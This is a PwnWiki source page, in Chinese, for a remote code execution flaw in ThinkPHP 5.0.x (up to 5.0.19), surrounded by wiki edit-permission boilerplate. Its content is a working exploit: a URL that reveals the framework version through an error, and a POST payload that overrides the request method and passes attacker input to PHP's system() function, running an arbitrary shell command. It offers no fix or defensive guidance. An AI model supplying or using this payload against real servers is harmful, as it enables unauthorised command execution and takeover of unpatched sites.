View source for ThinkPHP 5.0.13 代碼執行漏洞/zh-cn

From PwnWiki

← ThinkPHP 5.0.13 代碼執行漏洞/zh-cn

You do not have permission to edit this page, for the following reasons:

The action you have requested is limited to users in the group: Users.
This page cannot be updated manually. This page is a translation of the page ThinkPHP 5.0.13 代碼執行漏洞 and the translation can be updated using the translation tool.
You must confirm your email address before editing pages. Please set and validate your email address through your user preferences.

You can view and copy the source of this page.

<languages />
==影响版本==
ThinkPHP <= v5.0.19

==漏洞利用==

通过报错确定ThinkPHP版本
<pre>
http://127.0.0.1/tk5/public/index.php/111
</pre>

==Payload==
<pre>
http://127.0.0.1/tk5/public/index.php
</pre>

post发送数据
<pre>
s=whoami&_method=__construct&method=&filter[]=system
</pre>

Return to ThinkPHP 5.0.13 代碼執行漏洞/zh-cn.

Retrieved from "https://pwnwiki.com/index.php?title=ThinkPHP_5.0.13_代碼執行漏洞/zh-cn"